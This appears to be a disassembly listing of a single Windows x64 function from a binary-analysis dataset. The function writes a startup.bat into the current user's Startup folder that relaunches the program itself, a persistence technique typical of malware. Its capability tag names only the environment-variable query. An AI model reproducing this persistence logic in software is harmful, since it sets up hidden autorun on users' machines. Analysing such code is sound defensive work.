Function at 0x1400150e0
Capabilities:
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3a8
lea rcx, str.USERNAME
call sub.msvcrt.dll_getenv
mov rsi, rax
test rax, rax
je 0x1400156f8
lea rbp, [rsp + 0x50]
mov rcx, rax
lea r12, [rsp + 0x40]
mov qword [rsp + 0x40], rbp
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x1d0], rax
mov rdi, rax
cmp rax, 0xf
ja 0x140015620
cmp rax, 1
jne 0x140015750
movzx edx, byte [rsi]
lea rbx, [rsp + 0x1d0]
mov byte [rsp + 0x50], dl
mov rdx, rbp
mov qword [rsp + 0x48], rax
mov byte [rdx + rax], 0
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
lea rdx, [rdi + 9]
lea rsi, [rsp + 0x1e0]
mov rcx, rbx
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1d0], rsi
mov byte [rsp + 0x1e0], 0
call fcn.1400742b0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x1d8]
cmp rax, 8
jbe 0x14001587f
mov r8d, 9
lea rdx, str.C:Users_
mov rcx, rbx
call fcn.140074380
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x1d8]
cmp rax, rdi
jb 0x14001588b
mov r8, rdi
mov rdx, r12
mov rcx, rbx
call fcn.140074380
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x1d8]
cmp rax, 0x3e
jbe 0x140015897
mov r8d, 0x3f
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_
mov rcx, rbx
call fcn.140074380
lea r13, [rsp + 0x70]
lea r8, [rax + 0x10]
mov rdx, qword [rax + 8]
mov qword [rsp + 0x60], r13
mov rcx, qword [rax]
cmp rcx, r8
je 0x1400157a8
mov qword [rsp + 0x60], rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
mov qword [rax], r8
mov byte [rax + 0x10], 0
mov rcx, qword [rsp + 0x1d0]
mov qword [rsp + 0x68], rdx
mov qword [rax + 8], 0
cmp rcx, rsi
je 0x14001527f
mov rax, qword [rsp + 0x1e0]
lea rdx, [rax + 1]
call fcn.1400842f0
lea rsi, [rsp + 0xc0]
mov r8d, 0x104
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x80]
lea r12, [rsp + 0x90]
mov rcx, rsi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x80], r12
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x1d0], rax
mov r14, rax
cmp rax, 0xf
ja 0x140015688
cmp rax, 1
jne 0x140015670
movzx edx, byte [rsp + 0xc0]
mov byte [rsp + 0x90], dl
mov rdx, r12
mov qword [rsp + 0x88], rax
lea r14, [rsp + 0xa0]
lea r15, [rsp + 0xb0]
mov byte [rdx + rax], 0
mov rsi, qword [rsp + 0x68]
mov rcx, r14
mov qword [rsp + 0xa0], r15
mov rdi, qword [rsp + 0x60]
lea rdx, [rsi + 0xb]
mov byte [rsp + 0xb0], 0
mov qword [rsp + 0xa8], 0
call fcn.1400742b0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0xa8]
cmp rax, rsi
jb 0x1400158a3
mov r8, rsi
mov rdx, rdi
mov rcx, r14
call fcn.140074380
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0xa8]
cmp rax, 0xa
jbe 0x1400158af
mov r8d, 0xb
lea rdx, str.startup.bat
mov rcx, r14
call fcn.140074380
lea rax, [rsp + 0x298]
mov rcx, rax
mov qword [rsp + 0x28], rax
call fcn.14007dd30
mov rdi, qword [0x14008ecb0]
pxor xmm0, xmm0
xor edx, edx
movaps xmmword [rsp + 0x380], xmm0
lea rax, [rdi + 0x10]
movaps xmmword [rsp + 0x390], xmm0
mov qword [rsp + 0x298], rax
xor eax, eax
mov word [rsp + 0x378], ax
mov rax, qword [str.xm_t_]
mov qword [rsp + 0x370], 0
mov rdi, qword [rax + 8]
mov rsi, qword [rdi - 0x18]
mov qword [rsp + 0x1d0], rdi
add rsi, rbx
mov rcx, rsi
mov rsi, qword [rax + 0x10]
mov qword [rcx], rsi
mov qword [rsp + 0x30], rsi
call fcn.14007ea50
mov rsi, qword [0x14008ea70]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x1d0], rax
lea rax, [rsi + 0x40]
lea rsi, [rsp + 0x1d8]
mov rcx, rsi
mov qword [rsp + 0x298], rax
call fcn.1400617a0
mov rcx, qword [rsp + 0x28]
mov rdx, rsi
call fcn.14007ea50
mov rdx, qword [rsp + 0xa0]
mov r8d, 0x10
mov rcx, rsi
call fcn.140060820
mov rdx, qword [rsp + 0x1d0]
mov rcx, qword [rdx - 0x18]
add rcx, rbx
test rax, rax
je 0x140015740
xor edx, edx
call fcn.14007eba0
mov rcx, qword [rsp + 0xa0]
cmp rcx, r15
je 0x1400154a7
mov rax, qword [rsp + 0xb0]
lea rdx, [rax + 1]
call fcn.1400842f0
mov r8d, 0xa
lea rdx, str._echo_off_n
mov rcx, rbx
call fcn.140080f70
mov r8d, 7
lea rdx, str.start__
mov rcx, rbx
call fcn.140080f70
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov rcx, rbx
call fcn.140080f70
mov rcx, rax
mov r8d, 2
lea rdx, [0x1400891bf]
call fcn.140080f70
mov rcx, rsi
call fcn.140060b30
test rax, rax
je 0x1400157f8
mov rax, qword [0x14008ea70]
mov rbx, qword [0x14008ea70]
mov rcx, rsi
add rax, 0x40
add rbx, 0x18
mov qword [rsp + 0x298], rax
mov rax, qword [str.pi_t_]
movq xmm0, rbx
add rax, 0x10
movq xmm1, rax
punpcklqdq xmm0, xmm1
movaps xmmword [rsp + 0x1d0], xmm0
call fcn.140060b30
lea rcx, [rsp + 0x220]
call fcn.14005c6a0
mov rax, qword [str.po_t_]
lea rcx, [rsp + 0x210]
add rax, 0x10
mov qword [rsp + 0x1d8], rax
call fcn.140071ef0
mov rax, qword [rdi - 0x18]
mov rbx, qword [rsp + 0x30]
mov qword [rsp + 0x1d0], rdi
mov rcx, qword [rsp + 0x28]
mov qword [rsp + rax + 0x1d0], rbx
mov rax, qword [0x14008ecb0]
add rax, 0x10
mov qword [rsp + 0x298], rax
call fcn.14007ddc0
mov rcx, qword [rsp + 0x80]
cmp rcx, r12
je 0x1400155d7
mov rax, qword [rsp + 0x90]
lea rdx, [rax + 1]
call fcn.1400842f0
mov rcx, qword [rsp + 0x60]
cmp rcx, r13
je 0x1400155ef
mov rax, qword [rsp + 0x70]
lea rdx, [rax + 1]
call fcn.1400842f0
mov rcx, qword [rsp + 0x40]
cmp rcx, rbp
je 0x140015608
mov rax, qword [rsp + 0x50]
lea rdx, [rax + 1]
call fcn.1400842f0
nop
add rsp, 0x3a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rbx, [rsp + 0x1d0]
mov rcx, r12
xor r8d, r8d
mov rdx, rbx
call fcn.140074470
mov qword [rsp + 0x40], rax
mov rcx, rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x40]
jmp 0x140015153
test rax, rax
jne 0x1400158cb
mov rdx, r12
jmp 0x1400152ee
mov rcx, qword [rsp + 0x38]
xor r8d, r8d
mov rdx, rbx
call fcn.140074470
mov rdx, qword [rsp + 0x1d0]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x90], rdx
cmp r14d, 8
jae 0x140015770
test r14b, 4
jne 0x140015850
test r14d, r14d
je 0x1400156dd
movzx edx, byte [rsp + 0xc0]
mov byte [rax], dl
test r14b, 2
jne 0x14001586b
mov rax, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x80]
jmp 0x1400152ee
lea rbp, [rsp + 0x50]
mov byte [rsp + 0x57], 0
mov edx, 0x10
mov edi, 7
mov qword [rsp + 0x40], rbp
mov r12, rbp
lea rbx, [rsp + 0x1d0]
mov dword [rsp + 0x50], 0x6e6b6e55
mov qword [rsp + 0x48], 7
mov dword [rsp + 0x53], 0x6e776f6e
jmp 0x14001516a
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.14007eba0
jmp 0x140015489
test rax, rax
jne 0x1400158bb
mov rdx, rbp
lea rbx, [rsp + 0x1d0]
jmp 0x140015153
mov rdx, qword [rsp + 0xc0]
lea rdi, [rax + 8]
and rdi, 0xfffffffffffffff8
mov qword [rax], rdx
mov edx, r14d
mov rcx, qword [rsi + rdx - 8]
mov qword [rax + rdx - 8], rcx
sub rax, rdi
lea ecx, [r14 + rax]
sub rsi, rax
shr ecx, 3
rep movsq qword [rdi], qword [rsi]
jmp 0x1400156dd
add rdx, 1
mov r10, r13
mov rcx, r8
cmp edx, 8
jae 0x140015820
xor r9d, r9d
test dl, 4
je 0x1400157cb
mov r9d, dword [rcx]
mov dword [r10], r9d
mov r9d, 4
test dl, 2
je 0x1400157de
movzx r11d, word [rcx + r9]
mov word [r10 + r9], r11w
add r9, 2
and edx, 1
je 0x1400157ec
movzx edx, byte [rcx + r9]
mov byte [r10 + r9], dl
mov rdx, qword [rax + 8]
jmp 0x14001524d
mov rax, qword [rsp + 0x1d0]
mov rcx, qword [rax - 0x18]
add rcx, rbx
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.14007eba0
jmp 0x14001550f
mov r11d, edx
xor ecx, ecx
and r11d, 0xfffffff8
mov r9d, ecx
add ecx, 8
mov r10, qword [r8 + r9]
mov qword [r13 + r9], r10
cmp ecx, r11d
jb 0x140015829
lea r10, [r13 + rcx]
add rcx, r8
jmp 0x1400157b7
mov edx, dword [rsp + 0xc0]
mov r14d, r14d
mov dword [rax], edx
mov edx, dword [rsi + r14 - 4]
mov dword [rax + r14 - 4], edx
jmp 0x1400156dd
mov r14d, r14d
movzx edx, word [rsi + r14 - 2]
mov word [rax + r14 - 2], dx
jmp 0x1400156dd
lea rcx, section..rdata
call fcn.140085870
lea rcx, section..rdata
call fcn.140085870
lea rcx, section..rdata
call fcn.140085870
lea rcx, section..rdata
call fcn.140085870
lea rcx, section..rdata
call fcn.140085870
mov rcx, rbp
lea rbx, [rsp + 0x1d0]
jmp 0x14001564b
mov rax, r12
jmp 0x1400156b0